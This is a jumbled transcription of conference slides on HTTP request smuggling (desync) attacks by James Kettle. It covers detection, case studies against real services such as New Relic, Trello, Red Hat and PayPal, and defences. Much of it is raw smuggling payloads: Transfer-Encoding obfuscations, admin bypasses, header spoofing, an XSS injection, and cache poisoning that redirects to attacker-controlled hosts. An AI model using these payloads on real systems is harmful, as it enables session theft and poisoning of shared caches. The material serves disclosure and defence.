Transcription

HTTP DESYNC ATTACKSSMASHING INTO THE CELL NEXT DOORJames Kettle

The Fear TheoryQ) What topic am I really scared of?A) HTTP Request SmugglingHiding Wookiees in HTTPFirst documented by Watchfire in 2005"You will not earn bounties""You will certainly not be considered like a white hat"

Outline Theory & Methodology Exploitation Case Studies Defence Q&A

HTTP/1.1 keep-aliveHTTP over TLS/TCP

HTTP/1.1 keep-alive, desynchronized

Desynchronizing: the classic approachFrontend sees thisPOST / HTTP/1.1Host: example.comContent-Length: 6Content-Length: 5Backend sees this12345GPOST / HTTP/1.1Host: example.com Unknown method GPOST

Desynchronizing: the chunked approachFrontend sees thisPOST / HTTP/1.1Host: example.comContent-Length: 6Transfer-Encoding: chunkedBackend sees this0GPOST / HTTP/1.1 Unknown method GPOST

Desynchronizing: the TE.CL approachFrontend sees thisPOST / HTTP/1.1Host: example.comContent-Length: 3Transfer-Encoding: chunked6 \r\nPREFIX0POST / HTTP/1.1Host: example.comBackend sees this

Forcing desyncIf a message is received with both a Transfer-Encoding header field and a ContentLength header field, the latter MUST be ignored. – RFC 2616 #4.4.3Transfer-Encoding: chunkedContent-Length: 123Transfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding : chunkedTransfer-Encoding: xchunkedTransfer-Encoding:[tab]chunkedGET / HTTP/1.1Transfer-Encoding: chunkedTransfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunked

Methodology

Detecting desyncPOST /about HTTP/1.1Host: example.comTransfer-Encoding: chunkedContent-Length: 6POST /about HTTP/1.1Host: example.comTransfer-Encoding: chunkedContent-Length: 63abcQCL.CL: backend responseTE.TE: frontend responseTE.CL: frontend responseCL.TE: timeout0XCL.CL: backend responseTE.TE: backend responseTE.CL: timeoutCL.TE: socket poison

Confirming desyncPOST /search HTTP/1.1Content-Length: 51Transfer-Encoding: zchunkedPOST /search HTTP/1.1Content-Length: 4Transfer-Encoding: zchunked11 x&q smuggling&x 096GET /404 HTTP/1.1X: X 1&q smugging&x Host: example.comContent-Length: 100GET /404 HTTP/1.1X: XPOST /search HTTP/1.1Host: example.com Triggers 404 if vulnerablex 0POST /search HTTP/1.1Host: example.com

CASE STUDIES

Bypassing rulesPOST / HTTP/1.1Host: software-vendor.comContent-Length: 200Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: software-vendor.comX: X GET / HTTP/1.1Host: software-vendor.comHTTP/1.1 200 OKPlease log in

Bypassing rewritesPOST / HTTP/1.1Host: security-vendor.comX-Forwarded-For: 127.0.0.1Content-Length: 200Transfer-Encoding : chunked0GET / HTTP/1.1Host: security-vendor.comX-Forwarded-For: 127.0.0.1xyz.burpcollaborator.netX: X GET 300

Request reflectionPOST / HTTP/1.1Host: login.newrelic.comContent-Length: 142Transfer-Encoding: chunkedTransfer-Encoding: x0Please ensure that your email andpassword are correct. input id "email" value "asdfPOST/login HTTP/1.1Host: login.newrelic.comX-Forwarded-For: 81.139.39.150X-Forwarded-Proto: httpsX-TLS-Bits: 128X-TLS-Cipher: ECDHE-RSA-AES128GCM-SHA256x-nr-external-service: externalPOST /login HTTP/1.1Host: login.newrelic.comContent-Type: application/x-www-form-urlencodedContent-Length: 100 login[pass] 1234&login[email] asdf POST /login HTTP/1.1Host: login.newrelic.com

ExploringGET / HTTP/1.1Host: staging-alerts.newrelic.comHTTP/1.1 301 Moved PermanentlyLocation: https://staging-alerts.newrelic.com/GET / HTTP/1.1Host: staging-alerts.newrelic.comX-Forwarded-Proto: httpsHTTP/1.1 404 Not FoundGET /revision check HTTP/1.1Host: staging-alerts.newrelic.comX-Forwarded-Proto: httpsHTTP/1.1 200 OKGET /revision check HTTP/1.1Host: staging-alerts.newrelic.comX-Forwarded-Proto: httpsX-nr-external-service: 1HTTP/1.1 403 ForbiddenAction Controller: Exception caughtNot authorized with header:Forbidden

ExploringPOST /login HTTP/1.1Host: login.newrelic.comContent-Length: 564Transfer-Encoding: chunkedTransfer-encoding: cowHTTP/1.1 200 OK{0POST /internal api/934454/session HTTP/1.1 }Host: alerts.newrelic.comX-Forwarded-Proto: httpsService-Gateway-Account-Id: 934454Service-Gateway-Is-Newrelic-Admin: trueContent-Length: 6 x 123 GET "user": {"account id": 934454,"is newrelic admin": true},"current account id": 934454 3,000 3,300

Involuntary request storagePOST /1/cards HTTP/1.1Host: ngth: 49fPUT /1/members/1234 HTTP/1.1Host: trello.comContent-Type: application/x-www-form-urlencodedContent-Length: 400x x&csrf 1234&username testzzz&bio cake0GET / HTTP/1.1Host: trello.com 1,800 2,500 7,600

Harmful responsesPOST / HTTP/1.1Host: saas-app.comContent-Length: 4Transfer-Encoding : chunked10 x&csrf token&x 66POST /index.php HTTP/1.1Host: saas-app.comContent-Length: 100SAML a" script alert(1) /script 0 POST / HTTP/1.1Host: saas-app.comCookie: HTTP/1.1 200 OK input name "SAML"value "a" script alert(1) /script 0POST / HTTP/1.1Host: saas-app.comCookie: "/ 2,000 9,600

Accidental Cache PoisoningPOST / HTTP/1.1Host: redacted.comContent-Length: 45Transfer-Encoding: chunked0POST / HTTP/1.1Host: 52.16.21.24X: X GET /images/x.png HTTP/1.1Frontend perspectiveGET /images/x.png HTTP/1.1HTTP/1.1 301 Moved PermanentlyLocation: https://52.16.21.24/

Web Cache Deception POST / HTTP/1.1Transfer-Encoding: blahFrontend perspectiveGET /static/site.js HTTP/1.10HTTP/1.1 200 OKGET /account/settings HTTP/1.1X: X GET /static/site.js HTTP/1.1Cookie: sessionid xyzYour payment history Expected habitat:Sensitive responses with fixed, uncached extensionsSensitive POST responses

CDN ChainingPOST /cow.jpg HTTP/1.1Host: redacted.comContent-Type: application/x-www-form-urlencodedContent-Length: 50Transfer-Encoding: chunked0GET / HTTP/1.1Host: www.redhat.comX: X GET Red Hat - We make open source technologies for the enterprise

Chaining DOM ProblemsRuns on unknownURL in victim'sbrowserSolution: chain aserver-side localredirectGET /assets/idx?redir //[email protected]/ HTTP/1.1Host: www.redhat.com script var destination getQueryParam('redir')[low quality filtering]document.location destination /script POST /en/search?dest ./assets/idx?redir HTTP/1.1Host: www.redhat.comHTTP/1.1 301 FoundLocation: /assets/idx?redir //redhat.co

'Harmless' responsesPOST /etc/libs/xyz.js HTTP/1.1Host: redacted.comContent-Length: 57Transfer-Encoding: chunked0POST /etc HTTP/1.1Host: burpcollaborator.netX: XGET /etc/libs/xyz.js HTTP/1.1 HTTP/1.1 301 Moved PermanentlyLocation: https://burpcollaborator.net/etc/ 550 750 1,000 2,000 5,000 10,500 27,400

Web Cache PoisoningPOST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1Host: c.paypal.comContent-Length: 61Transfer-Encoding: chunked0GET /webstatic HTTP/1.1Host: skeletonscribe.net ?X: X GET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1Host: c.paypal.comConnection: closeHTTP/1.1 302 FoundLocation: http://skeletonscribe.net ?, c.paypal.com/webstatic/

PayPal Poisoning 18,900 46,300

Wrapped exploitsGET / HTTP/1.1Host: c.paypal.comContent-Length: 5Transfer-Encoding: chunked0GET / HTTP/1.1Host: c.paypal.comContent-Length: 5Transfer-Encoding:chunked0HTTP/1.1 403 ForbiddenServer: AkamaiGHost HTML HEAD TITLE Access Denied /TITLE /HEAD HTTP/1.1 200 OK 20,000 66,300

DEMO-bugzilla- 4,500 70,800

DEFENCETooling Support manual content-length & chunking Don't Squid testersSafety Frontend: Normalize ambiguous requests – RFC 7230 Frontend: Use HTTP/2 to talk to backend Backend: Drop request & connection

Further -desync-attacksOnline b/HTTP-Request-Smuggling.pdfDEF CON 24 – regilero - Hiding Wookiees in HTTP

TAKEAWAYS Detection doesn't have to be dangerous HTTP parsing is security critical Complexity is the enemy@albinowaxEmail: [email protected]

Request reflection POST / HTTP/1.1 Host: login.newrelic.com Content-Length: 142 Transfer-Enco